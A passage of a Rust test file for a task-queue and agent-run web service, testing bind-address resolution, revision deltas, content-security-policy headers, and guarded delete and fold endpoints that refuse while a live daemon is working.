18698 f.talks().put(&mut on_disk).expect("record a turn");
18699
18700 let after = f.get("/api/health").await.json()["talks_rev"]
18701 .as_u64()
18702 .expect("talks_rev");
18703 assert_ne!(
18704 before, after,
18705 "a phone must be able to notice a talk's reply without polling every store"
18706 );
18707 }
18708
18709 #[test]
18710 fn bind_reads_back_from_the_spelling_the_cli_prints() {
18711 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18715 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18716 }
18717 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18718 assert!("everywhere".parse::<Bind>().is_err());
18719 }
18720
18721 #[test]
18722 fn an_explicit_bind_address_is_taken_verbatim() {
18723 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18724
18725 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18726
18727 assert_eq!(addr, asked);
18728 assert!(
18729 warning.is_none(),
18730 "an operator who named an address gets no lecture"
18731 );
18732 }
18733
18734 #[test]
18735 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18736 let (addr, warning) = resolve_bind(&Bind::Auto);
18737
18738 match addr {
18745 IpAddr::V4(ip) if is_tailnet(&ip) => {
18746 assert!(warning.is_none(), "a tailnet address needs no warning");
18747 }
18748 other => {
18749 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18750 let warning = warning.expect("a fallback has to explain itself");
18751 assert!(
18752 warning.contains("127.0.0.1") && warning.contains("local-only"),
18753 "the warning says what happened and what it costs: {warning}"
18754 );
18755 }
18756 }
18757 }
18758
18759 #[test]
18760 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18761 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18765 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18766 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18767 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18768 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18769 }
18770
18771 #[test]
18772 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18773 let ids = vec![
18774 "20260902-140501-aaaa".to_owned(),
18775 "20260902-140502-aabb".to_owned(),
18776 ];
18777
18778 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18779 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18780 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18781
18782 assert_eq!(missing.status, StatusCode::NOT_FOUND);
18783 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18784 assert_eq!(short, "20260902-140502-aabb");
18785 }
18786 #[tokio::test]
18787 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18788 let fx = Fixture::start().await;
18794 let id = panel(
18795 &fx,
18796 "<img src=\"shot.png\">",
18797 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18798 );
18799
18800 let doc = fx
18802 .get(&format!("/api/questions/{id}/panel/index.html"))
18803 .await;
18804 assert_eq!(doc.status, 200, "{}", doc.body);
18805 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18806
18807 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18808 assert_eq!(sibling.status, 200, "{}", sibling.body);
18809 assert_eq!(sibling.header("content-type"), Some("image/png"));
18810 assert_eq!(
18811 sibling.header("content-security-policy"),
18812 Some(PANEL_CSP),
18813 "the sibling route must carry the same policy as the asset route"
18814 );
18815
18816 assert_eq!(
18819 fx.head(&format!("/api/questions/{id}/panel")).await.status,
18820 200
18821 );
18822 }
18823
18824 #[test]
18825 fn delta_stamps_cover_add_update_remove_and_noop() {
18826 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18827 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18828 let delta = diff_stamps(&before, &after, 42);
18829 assert_eq!(delta.base, 42);
18830 assert_eq!(delta.changed, ["b", "c"]);
18831 assert_eq!(delta.removed, ["a"]);
18832 let same = diff_stamps(&after, &after, 43);
18833 assert!(same.changed.is_empty() && same.removed.is_empty());
18834 assert_ne!(stamps_revision(&before), stamps_revision(&after));
18835 let nanos: Stamps = [("b".into(), (2, 20))].into();
18836 let same_ms: Stamps = [("b".into(), (3, 20))].into();
18837 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18838 assert_eq!(stamps_revision(&Stamps::new()), 0);
18839 }
18840
18841 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18842 std::fs::create_dir_all(home.join("runs")).unwrap();
18843 Arc::new(Ui::new(
18844 Queue::at(home.join("queue")),
18845 Questions::at(home.join("questions")),
18846 Talks::at(home.join("talks")),
18847 home.join("runs"),
18848 home.to_owned(),
18849 PathBuf::from("/repo/magi"),
18850 ))
18851 }
18852
18853 #[tokio::test]
18854 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18855 let home = TempDir::new().unwrap();
18856 let ui = delta_test_ui(home.path());
18857 let mut task = Task::new(
18858 "stream task".into(),
18859 "text".into(),
18860 PathBuf::from("/repo"),
18861 Source::Human,
18862 );
18863 ui.queue.put(&mut task).unwrap();
18864 let response = events(State(ui.clone())).await.into_response();
18865 let mut stream = response.into_body().into_data_stream();
18866 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18867 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18868 .await
18869 .unwrap()
18870 .unwrap()
18871 .unwrap();
18872 let text = String::from_utf8(chunk.to_vec()).unwrap();
18873 let data = text
18874 .lines()
18875 .find_map(|line| {
18876 line.strip_prefix("data: ")
18877 .or_else(|| line.strip_prefix("data:"))
18878 })
18879 .unwrap();
18880 serde_json::from_str(data).unwrap()
18881 }
18882 let initial = change(&mut stream).await;
18883 assert!(initial.get("queue_delta").is_none());
18884 task.instruction.push_str(" changed");
18885 ui.queue.put(&mut task).unwrap();
18886 let updated = change(&mut stream).await;
18887 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18888 assert_eq!(
18889 updated["queue_delta"]["changed"],
18890 serde_json::json!([task.id])
18891 );
18892 assert_eq!(
18893 updated["queue_rev"].as_u64(),
18894 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18895 );
18896 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18897 let removed = change(&mut stream).await;
18898 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18899 assert_eq!(
18900 removed["queue_delta"]["removed"],
18901 serde_json::json!([task.id])
18902 );
18903 }
18904
18905 #[tokio::test]
18906 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18907 let home = TempDir::new().unwrap();
18908 let ui = delta_test_ui(home.path());
18909 let queue = ui.queue.clone();
18910 let query = |ids: Option<&str>| {
18911 Query(ListQuery {
18912 limit: Some(2),
18913 ids: ids.map(str::to_owned),
18914 })
18915 };
18916 let mut root = Task::new(
18917 "root".into(),
18918 "instruction".into(),
18919 PathBuf::from("/repo"),
18920 Source::Human,
18921 );
18922 queue.put(&mut root).unwrap();
18923 let mut blocked = Task::new(
18924 "blocked".into(),
18925 "instruction".into(),
18926 PathBuf::from("/repo"),
18927 Source::Human,
18928 );
18929 blocked.block(vec![root.id.clone()], None);
18930 queue.put(&mut blocked).unwrap();
18931 let whole =
18932 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18933 .unwrap();
18934 let subset = serde_json::to_value(
18935 queue_list(State(ui.clone()), query(Some(&root.id)))
18936 .await
18937 .unwrap()
18938 .0,
18939 )
18940 .unwrap();
18941 assert_eq!(whole, subset, "requested root plus its blocked dependent");
18942 let blockers = serde_json::to_value(
18943 queue_list(State(ui.clone()), query(Some("")))
18944 .await
18945 .unwrap()
18946 .0,
18947 )
18948 .unwrap();
18949 assert_eq!(blockers.as_array().unwrap().len(), 1);
18950 assert_eq!(blockers[0]["id"], blocked.id);
18951 assert_eq!(
18952 blockers[0]["waits_on"],
18953 whole
18954 .as_array()
18955 .unwrap()
18956 .iter()
18957 .find(|row| row["id"] == blocked.id)
18958 .unwrap()["waits_on"]
18959 );
18960
18961 for id in [
18962 "20260902-140501-aaaa",
18963 "20260902-140502-bbbb",
18964 "20260902-140503-cccc",
18965 ] {
18966 write_run(&ui.runs, id, RunStatus::Merged);
18967 }
18968 let old = serde_json::to_value(
18969 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
18970 .await
18971 .unwrap()
18972 .0,
18973 )
18974 .unwrap();
18975 assert!(
18976 old.as_array().unwrap().is_empty(),
18977 "older updates must not enter the window"
18978 );
18979 let newest = serde_json::to_value(
18980 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18981 .await
18982 .unwrap()
18983 .0,
18984 )
18985 .unwrap();
18986 assert_eq!(newest.as_array().unwrap().len(), 1);
18987 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18988
18989 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18990 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18991 let talks = serde_json::to_value(
18992 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18993 .await
18994 .unwrap()
18995 .0,
18996 )
18997 .unwrap();
18998 assert_eq!(talks.as_array().unwrap().len(), 1);
18999 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
19000 assert_eq!(
19001 serde_json::to_value(
19002 talks_list(State(ui.clone()), query(Some("")))
19003 .await
19004 .unwrap()
19005 .0
19006 )
19007 .unwrap(),
19008 serde_json::json!([])
19009 );
19010 }
19011
19012 #[tokio::test]
19013 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
19014 async fn delta_payload_benchmark() {
19015 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
19016 let ui = delta_test_ui(&home);
19017 let query = |ids: Option<String>| {
19018 Query(ListQuery {
19019 limit: Some(50),
19020 ids,
19021 })
19022 };
19023 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
19024 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
19025 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
19026 let queue_id = queue
19027 .iter()
19028 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
19029 .unwrap_or(&queue[0])
19030 .task
19031 .id
19032 .clone();
19033 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
19034 .await
19035 .unwrap()
19036 .0;
19037 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
19038 .await
19039 .unwrap()
19040 .0;
19041 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
19042 .await
19043 .unwrap()
19044 .0;
19045 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
19046 eprintln!(
19047 "DELTA_PAYLOAD {}",
19048 serde_json::json!({
19049 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
19050 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
19051 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
19052 "counts": [queue.len(), runs.len(), talks.len()],
19053 "blocked": queue_delta.len() - 1,
19054 })
19055 );
19056 }
19057
19058 #[test]
19059 fn runs_revision_moves_when_deleting_an_older_run() {
19060 let temp = TempDir::new().expect("tempdir");
19061 let runs = temp.path().join("runs");
19062 std::fs::create_dir_all(&runs).expect("create runs dir");
19063
19064 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
19065
19066 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
19067 std::thread::sleep(Duration::from_millis(10));
19068 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
19069
19070 let rev_before = runs_revision(&runs);
19071 assert!(rev_before > 0);
19072
19073 let old_dir = runs.join("20260901-100000-old1");
19074 std::fs::remove_dir_all(&old_dir).expect("remove old run");
19075
19076 let rev_after = runs_revision(&runs);
19077 assert_ne!(
19078 rev_before, rev_after,
19079 "deleting an older run must change the revision so other clients see the deletion"
19080 );
19081 }
19082
19083 fn write_state(runs: &FsPath, state: &RunState) {
19088 let dir = runs.join(&state.id);
19089 std::fs::create_dir_all(&dir).expect("run dir");
19090 std::fs::write(
19091 dir.join("run.json"),
19092 serde_json::to_string_pretty(state).expect("serialize run"),
19093 )
19094 .expect("write run.json");
19095 }
19096
19097 #[test]
19102 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
19103 let temp = TempDir::new().expect("tempdir");
19104 let runs = temp.path().join("runs");
19105 std::fs::create_dir_all(&runs).expect("create runs dir");
19106 let mut state = RunState::new(
19107 PathBuf::from("/repo/magi"),
19108 "main".to_owned(),
19109 "0123456789abcdef".to_owned(),
19110 "task".to_owned(),
19111 Config::default(),
19112 );
19113 state.id = "20260902-100000-c0de".to_owned();
19114 write_state(&runs, &state);
19115
19116 let rev_idle = runs_revision(&runs);
19117 std::thread::sleep(Duration::from_millis(10));
19118 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
19119 write_state(&runs, &state);
19120 let rev_started = runs_revision(&runs);
19121 assert_ne!(
19122 rev_idle, rev_started,
19123 "a seat starting must move the revision"
19124 );
19125
19126 std::thread::sleep(Duration::from_millis(10));
19127 state.seat_finished("judge-1");
19128 write_state(&runs, &state);
19129 let rev_finished = runs_revision(&runs);
19130 assert_ne!(
19131 rev_started, rev_finished,
19132 "and clearing it again must move the revision a second time"
19133 );
19134 }
19135
19136 #[tokio::test]
19137 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19138 let fx = Fixture::start().await;
19143 let q = fx.queue();
19144
19145 let mut t = Task::new(
19146 "Task".to_owned(),
19147 "Instruction".to_owned(),
19148 PathBuf::from("/repo"),
19149 Source::Human,
19150 );
19151 t.block(
19152 vec!["20260101-000000-dead".to_owned()],
19153 Some("waiting on Task 1".to_owned()),
19154 );
19155 t.answers.push(crate::queue::AnsweredQuestion {
19156 question: "Which backend?".to_owned(),
19157 answer: "SQLite".to_owned(),
19158 });
19159 q.put(&mut t).expect("put t");
19160
19161 let res = fx.get("/api/queue").await;
19162 assert_eq!(res.status, 200);
19163 let list = res.json();
19164 let view = list
19165 .as_array()
19166 .expect("array")
19167 .iter()
19168 .find(|v| v["id"] == t.id)
19169 .expect("task in list");
19170 assert_eq!(view["status_str"], "blocked");
19171 assert_eq!(
19172 view["blocked_by"],
19173 serde_json::json!(["20260101-000000-dead"])
19174 );
19175 assert_eq!(view["block_reason"], "waiting on Task 1");
19176 assert_eq!(view["answers"][0]["question"], "Which backend?");
19177 assert_eq!(view["answers"][0]["answer"], "SQLite");
19178
19179 let res = fx
19183 .post(&format!("/api/queue/{}/hold", t.short()), None)
19184 .await;
19185 assert_eq!(res.status, 200);
19186 let held = res.json();
19187 assert_eq!(held["status_str"], "held");
19188 assert_eq!(held["blocked_by"], serde_json::json!([]));
19189 assert!(held["block_reason"].is_null());
19190 assert_eq!(held["answers"][0]["answer"], "SQLite");
19191 }
19192
19193 #[tokio::test]
19194 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19195 let fx = Fixture::start().await;
19196 let q = fx.queue();
19197 let mk = |title: &str| {
19198 Task::new(
19199 title.to_owned(),
19200 "Instruction".to_owned(),
19201 PathBuf::from("/repo"),
19202 Source::Human,
19203 )
19204 };
19205 let mut root = mk("root");
19206 root.hold_manual(Some("waiting".to_owned()));
19207 q.put(&mut root).unwrap();
19208 let mut mid = mk("mid");
19209 mid.block(vec![root.id.clone()], None);
19210 q.put(&mut mid).unwrap();
19211 let mut leaf = mk("leaf");
19212 leaf.block(vec![mid.id.clone()], None);
19213 q.put(&mut leaf).unwrap();
19214
19215 let list = fx.get("/api/queue").await.json();
19216 let find = |id: &str| {
19217 list.as_array()
19218 .unwrap()
19219 .iter()
19220 .find(|v| v["id"] == id)
19221 .unwrap()
19222 .clone()
19223 };
19224 let leaf_view = find(&leaf.id);
19225 assert_eq!(
19226 leaf_view["waits_on"],
19227 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19228 );
19229 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19230 assert_eq!(
19231 find(&mid.id)["waits_on"],
19232 serde_json::json!([format!("{} (held)", root.short())])
19233 );
19234 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19235 }
19236
19237 #[tokio::test]
19238 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19239 let fx = Fixture::start().await;
19240 let q = fx.queue();
19241
19242 let mut t1 = Task::new(
19244 "Task 1".to_owned(),
19245 "Instruction 1".to_owned(),
19246 PathBuf::from("/repo"),
19247 Source::Human,
19248 );
19249 let run_id = "20260901-000000-r111";
19250 t1.runs.push(run_id.to_owned());
19251 write_run(&fx.runs(), run_id, RunStatus::Merged);
19252 q.put(&mut t1).expect("put t1");
19253
19254 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19256 assert_eq!(res.status, 204);
19257 assert!(res.body.is_empty(), "204 No Content has no body");
19258 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19259 assert!(
19260 fx.runs().join(run_id).exists(),
19261 "run directory must not be deleted when its task is deleted"
19262 );
19263
19264 let mut t2 = Task::new(
19266 "Task 2".to_owned(),
19267 "Instruction 2".to_owned(),
19268 PathBuf::from("/repo"),
19269 Source::Human,
19270 );
19271 t2.status = TaskStatus::Running;
19272 q.put(&mut t2).expect("put t2");
19273 let mut beat = crate::daemon::Status::new();
19274 beat.current = vec![crate::daemon::Current {
19275 task: t2.id.clone(),
19276 run: "20260901-000000-r222".to_owned(),
19277 }];
19278 beat.updated_at = jiff::Timestamp::now();
19279 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19280 .expect("publish a heartbeat");
19281 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19282 assert_eq!(res.status, 409);
19283 assert!(
19284 res.json()["error"]
19285 .as_str()
19286 .unwrap()
19287 .contains("live daemon")
19288 );
19289 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19290
19291 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19297 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19298 .expect("leave a stale heartbeat");
19299 let mut t3 = Task::new(
19300 "Task 3".to_owned(),
19301 "Instruction 3".to_owned(),
19302 PathBuf::from("/repo"),
19303 Source::Human,
19304 );
19305 t3.status = TaskStatus::Running;
19306 q.put(&mut t3).expect("put t3");
19307 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19308 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19309 assert_eq!(res.status, 204);
19310 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19311 assert!(
19312 q.claim(&t3.id).is_ok(),
19313 "the stale lock went with it, so the id is claimable again"
19314 );
19315
19316 let res = fx.delete("/api/queue/nonexistent").await;
19318 assert_eq!(res.status, 404);
19319 }
19320
19321 #[tokio::test]
19322 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19323 let fx = Fixture::start().await;
19324 let runs = fx.runs();
19325
19326 let run_id = "20260901-000000-fold";
19328 let mut state = RunState::new(
19329 PathBuf::from("/repo"),
19330 "main".to_owned(),
19331 "abc".to_owned(),
19332 "instruction".to_owned(),
19333 Config::default(),
19334 );
19335 state.id = run_id.to_owned();
19336 state.status = RunStatus::Merged;
19337 state.candidates.push(crate::run::Candidate {
19338 index: 0,
19339 label: 'A',
19340 agent: "a".to_owned(),
19341 branch: "b".to_owned(),
19342 worktree: PathBuf::from("/w"),
19343 summary: String::new(),
19344 stat: String::new(),
19345 files: 1,
19346 commits: 1,
19347 empty: false,
19348 failed: None,
19349 verified_noop: None,
19350 duration_ms: 0,
19351 folded: true,
19352 });
19353 let dir = runs.join(run_id);
19354 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19355 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19356 .expect("write artifact");
19357 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19358 .expect("write run.json");
19359
19360 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19362 assert_eq!(res.status, 204);
19363 assert!(res.body.is_empty(), "204 has no body");
19364 assert!(!dir.exists(), "run directory and artifacts must be deleted");
19365
19366 let run_running = "20260901-000000-rung";
19371 write_run(&runs, run_running, RunStatus::Prep);
19372 let mut beat = crate::daemon::Status::new();
19373 beat.current = vec![crate::daemon::Current {
19374 task: "20260901-000000-task".to_owned(),
19375 run: run_running.to_owned(),
19376 }];
19377 beat.updated_at = jiff::Timestamp::now();
19378 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19379 .expect("publish a heartbeat");
19380 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19381 assert_eq!(res.status, 409);
19382 assert!(
19383 res.json()["error"]
19384 .as_str()
19385 .unwrap()
19386 .contains("live daemon"),
19387 "the refusal must say who is holding it"
19388 );
19389 assert!(
19390 runs.join(run_running).exists(),
19391 "a run in flight keeps its directory"
19392 );
19393
19394 let run_unfolded = "20260901-000000-unfd";
19396 let mut state2 = RunState::new(
19397 PathBuf::from("/repo"),
19398 "main".to_owned(),
19399 "abc".to_owned(),
19400 "instruction".to_owned(),
19401 Config::default(),
19402 );
19403 state2.id = run_unfolded.to_owned();
19404 state2.status = RunStatus::Ready;
19405 state2.candidates.push(crate::run::Candidate {
19406 index: 0,
19407 label: 'A',
19408 agent: "a".to_owned(),
19409 branch: "b".to_owned(),
19410 worktree: PathBuf::from("/w"),
19411 summary: String::new(),
19412 stat: String::new(),
19413 files: 1,
19414 commits: 1,
19415 empty: false,
19416 failed: None,
19417 verified_noop: None,
19418 duration_ms: 0,
19419 folded: false,
19420 });
19421 let dir2 = runs.join(run_unfolded);
19422 std::fs::create_dir_all(&dir2).expect("create dir2");
19423 std::fs::write(
19424 dir2.join("run.json"),
19425 serde_json::to_string(&state2).unwrap(),
19426 )
19427 .expect("write run.json");
19428
19429 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19430 assert_eq!(res.status, 409);
19431 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19432 assert!(dir2.exists(), "unfolded run directory is kept");
19433
19434 let res = fx.delete("/api/runs/nonexistent").await;
19436 assert_eq!(res.status, 404);
19437 }
19438
19439 #[test]
19448 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19449 let start = APP_JS
19450 .find("function renderStats() {")
19451 .expect("renderStats");
19452 let end = start
19453 + APP_JS[start..]
19454 .find("function statsTile(")
19455 .expect("the next top-level function");
19456 let body = &APP_JS[start..end];
19457
19458 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19459 let gate_end = gate_start
19460 + body[gate_start..]
19461 .find("}\n renderStatsQueue")
19462 .expect("the gate's own closing brace, right before the unconditional call");
19463 let gated = &body[gate_start..gate_end];
19464
19465 assert_eq!(
19466 body.matches("renderStatsQueue(").count(),
19467 1,
19468 "renderStats must call renderStatsQueue exactly once: {body}"
19469 );
19470 assert!(
19471 !gated.contains("renderStatsQueue"),
19472 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19473 run-derived panels on an empty run history - the queue panel has to render \
19474 regardless: {gated}"
19475 );
19476 }
19477
19478 #[test]
19479 fn web_ui_delete_contract_in_front_end() {
19480 assert!(APP_JS.contains("deleteRun:"));
19482 assert!(APP_JS.contains("deleteTask:"));
19483
19484 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
19486 ..APP_JS.find("function renderRuns").unwrap()];
19487 assert!(!run_cards_slice.to_lowercase().contains("delete"));
19488
19489 assert!(APP_JS.contains("renderRunDelete"));
19491 assert!(APP_JS.contains("runDeleteReason"));
19492 assert!(APP_JS.contains("magi fold"));
19493 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
19494
19495 assert!(APP_JS.contains("cancel.focus"));
19497 assert!(APP_JS.contains("armedRunDelete"));
19498 assert!(APP_JS.contains("renderTaskDeleteBox"));
19499 assert!(APP_JS.contains("armed${cap(key)}"));
19500
19501 assert!(APP_JS.contains("disabled: status === \"running\""));
19503 }
19504
19505 #[test]
19525 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
19526 let build = APP_JS
19527 .find("function createRunCard")
19528 .expect("createRunCard exists");
19529 let update = APP_JS
19530 .find("function updateRunCard")
19531 .expect("updateRunCard exists");
19532 let end = APP_JS
19533 .find("function renderRuns")
19534 .expect("renderRuns exists");
19535
19536 let builder = &APP_JS[build..update];
19538 let open = builder.find("refs = {").expect("createRunCard sets refs");
19539 let literal = &builder[open + "refs = {".len()..];
19540 let close = literal.find('}').expect("the refs literal is closed");
19541 let published: HashSet<&str> = literal[..close]
19542 .split(',')
19543 .filter_map(|entry| entry.split(':').next())
19545 .map(str::trim)
19546 .filter(|name| !name.is_empty())
19547 .collect();
19548 assert!(
19549 published.len() > 5,
19550 "the refs literal did not parse into names: {published:?}"
19551 );
19552
19553 let mut used: Vec<&str> = Vec::new();
19556 let updaters = &APP_JS[update..end];
19557 for (at, _) in updaters.match_indices("r.") {
19558 let before = updaters[..at].chars().next_back();
19561 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
19562 continue;
19563 }
19564 let rest = &updaters[at + 2..];
19565 let len = rest
19566 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
19567 .unwrap_or(rest.len());
19568 if len > 0 {
19569 used.push(&rest[..len]);
19570 }
19571 }
19572 assert!(
19573 used.len() > 5,
19574 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
19575 );
19576
19577 let missing: Vec<&str> = used
19578 .iter()
19579 .copied()
19580 .filter(|name| !published.contains(name))
19581 .collect();
19582 assert!(
19583 missing.is_empty(),
19584 "a run card's updater reaches for {missing:?}, which `createRunCard` \
19585 never put in `refs` - every card will throw and the list will \
19586 render empty under a count line that says otherwise. Published: \
19587 {published:?}"
19588 );
19589 }
19590
19591 #[tokio::test]
19592 async fn folding_from_the_phone_reports_what_it_removed() {
19593 let fx = Fixture::start().await;
19594 let runs = fx.runs();
19595
19596 let id = "20260901-000000-fold";
19600 write_run(&runs, id, RunStatus::Stalled);
19601 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19602 assert_eq!(res.status, 200);
19603 assert_eq!(res.json()["removed_count"], 0);
19604 assert_eq!(res.json()["run"], id);
19605 assert!(
19606 runs.join(id).exists(),
19607 "a fold keeps the run's record; only the worktrees go"
19608 );
19609 }
19610
19611 #[tokio::test]
19612 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
19613 let fx = Fixture::start().await;
19614 let runs = fx.runs();
19615 let wt = fx.home.path().join("wt").join("magi").join("dead");
19616 let id = "20260901-000000-dead";
19617 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19618 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19619 std::fs::create_dir_all(&wt).expect("worktree dir");
19620
19621 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19622 assert_eq!(res.status, 200, "{}", res.body);
19623 assert!(
19624 res.json()["removed_count"].as_u64().unwrap() > 0,
19625 "the worktree this build could not read a state for still went"
19626 );
19627 assert!(
19628 !runs.join(id).exists(),
19629 "an unreadable run has no candidate list to fold selectively, so \
19630 the whole record goes - same as `magi fold` on the CLI"
19631 );
19632 }
19633
19634 #[tokio::test]
19635 async fn deleting_an_unreadable_run_removes_it_wholesale() {
19636 let fx = Fixture::start().await;
19637 let runs = fx.runs();
19638 let wt = fx.home.path().join("wt").join("magi").join("gone");
19639 let id = "20260901-000000-gone";
19640 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19641 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19642 std::fs::create_dir_all(&wt).expect("worktree dir");
19643
19644 let res = fx.delete(&format!("/api/runs/{id}")).await;
19645 assert_eq!(res.status, 204, "{}", res.body);
19646 assert!(!runs.join(id).exists(), "the broken record is gone");
19647 assert!(!wt.exists(), "its worktree is gone too");
19648 }
19649
19650 #[tokio::test]
19651 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
19652 let fx = Fixture::start().await;
19653 let runs = fx.runs();
19654 let id = "20260901-000000-live";
19655 write_run(&runs, id, RunStatus::Implementing);
19656
19657 let mut beat = crate::daemon::Status::new();
19658 beat.current = vec![crate::daemon::Current {
19659 task: "20260901-000000-task".to_owned(),
19660 run: id.to_owned(),
19661 }];
19662 beat.updated_at = jiff::Timestamp::now();
19663 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19664 .expect("publish a heartbeat");
19665
19666 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19667 assert_eq!(res.status, 409);
19668 assert!(
19669 res.json()["error"]
19670 .as_str()
19671 .unwrap()
19672 .contains("live daemon"),
19673 "folding under a running agent would pull its worktree away"
19674 );
19675 }
19676
19677 #[tokio::test]
19678 async fn fold_merged_requires_a_pr_url() {
19679 let fx = Fixture::start().await;
19680 let runs = fx.runs();
19681 let id = "20260901-000000-nourl";
19682 write_run(&runs, id, RunStatus::Blocked);
19683
19684 let res = fx
19685 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19686 .await;
19687 assert_eq!(res.status, 400, "{}", res.body);
19688
19689 let blank = fx
19690 .post(
